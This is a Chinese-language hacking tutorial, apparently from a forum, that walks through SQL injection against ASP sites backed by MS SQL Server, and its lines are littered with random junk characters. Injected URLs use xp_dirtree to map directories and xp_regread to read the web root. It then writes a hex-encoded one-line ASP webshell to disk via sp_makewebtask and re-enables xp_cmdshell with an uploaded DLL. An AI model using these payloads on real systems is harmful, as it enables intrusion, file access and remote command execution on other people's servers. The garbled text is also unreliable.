好,我们exec master..xp_dirtree'd:/test'
; N; U4 Q- P% _( L* D假设我们在test里有两个文件夹test1和test2在test1里又有test3# X4 K6 a6 R9 l2 Z& g# S ^; a
结果显示
6 t- L8 m% C- \1 F2 ?) B7 ]* J* b) S9 A9 F0 z, t- F7 ~
subdirectory depth
# P# z, i5 S3 \test1 1
3 a6 U1 U0 v1 Z0 Q: _test3 2
" G% N! K7 I* M5 x, _0 a) A4 Ttest2 1, ]1 v% q+ x2 S$ Q* d( [& Z
8 F# |2 K* Y; k! w7 [% F0 I( j. R哈哈发现没有那个depth就是目录的级数# ~% G# J: \ T* l5 h
ok了,知道怎么办了吧
$ g c" G3 e# T1 f; ^9 B* P' g7 U. P( \
http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)-- ; x+ |6 [8 g; r$ b0 J: p' W
http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' --
$ e; C8 ]$ S- N7 o; p2 ~http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
' _5 u: e' u4 b' |) V) _# B6 C* a3 _6 i& d# _$ |3 n# m
只要加上id=1,就是第一级目录 。
9 t: r$ S G8 x2 |
7 k2 ], d* G9 X" F: z- g \) ^2 ?. u6 [4 ^" T/ `4 J
通过注册表读网站路径:5 e- I, _5 W- @" ]- X2 j
! `4 Z" [/ f* l" c
1.;create table [dbo].[cyfd] ([gyfd][char](255));
5 Q- L. r! \; O: A( y' r# _# Q2 K4 D+ v9 a5 A
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--5 Z3 u% _; H4 [& r C
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
, S7 O _* S# Q k8 N: o! H; y) j3 o; N, o* N# q/ w
3.and 1=(select count(*) from 临时表 where 临时字段名>1), d# Y9 v* i' r Y+ t6 Q
and 1=(select count(*) from cyfd where gyfd > 1) 2 g2 K6 j+ K6 Y/ e1 C& d
这样IE报错,就把刚才插进去的Web路径的值报出来了
( e1 g' U* u" g) g. k+ B& U5 u
% A9 l- ?6 ?3 D9 T4.drop table cyfd;-- 删除临时表5 o( j" P" o7 V3 U- N2 m8 ^% c$ F
: s! a) H! d' z% A获得webshell方法:
3 X6 }9 F8 Z2 r1.create table cmd (a image)-- \**cmd是创建的临时表0 G* K% U- e) k" z5 D
6 N/ U6 c' K3 b% i
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
, i% K% L9 o& w3 X/ h
! }1 S. V; Z& c9 |3 {# k' ?! c5 ~- T: f' F
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
0 B: d: g5 _% Y# }EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
, `3 A! Q1 w! J' V) v' i$ ?, f! t! X7 x
4.drop table cmd;-- 删除cmd临时表- F: O" x+ z: N$ G6 T: X0 o
1 n+ W$ K0 g+ d# b- f; I; w. r
恢复xp_cmdshell方法之一:! m# z, f. X' u7 y/ ]; h6 G. W, ]
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:: i; X: s; m) ^+ Q% m
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'+ D% \+ r) V1 w7 [! i" M) q$ c
恢复,支持绝对路径的恢复哦。:)
n5 x4 u0 W5 W! N) Y, a E) J0 _ |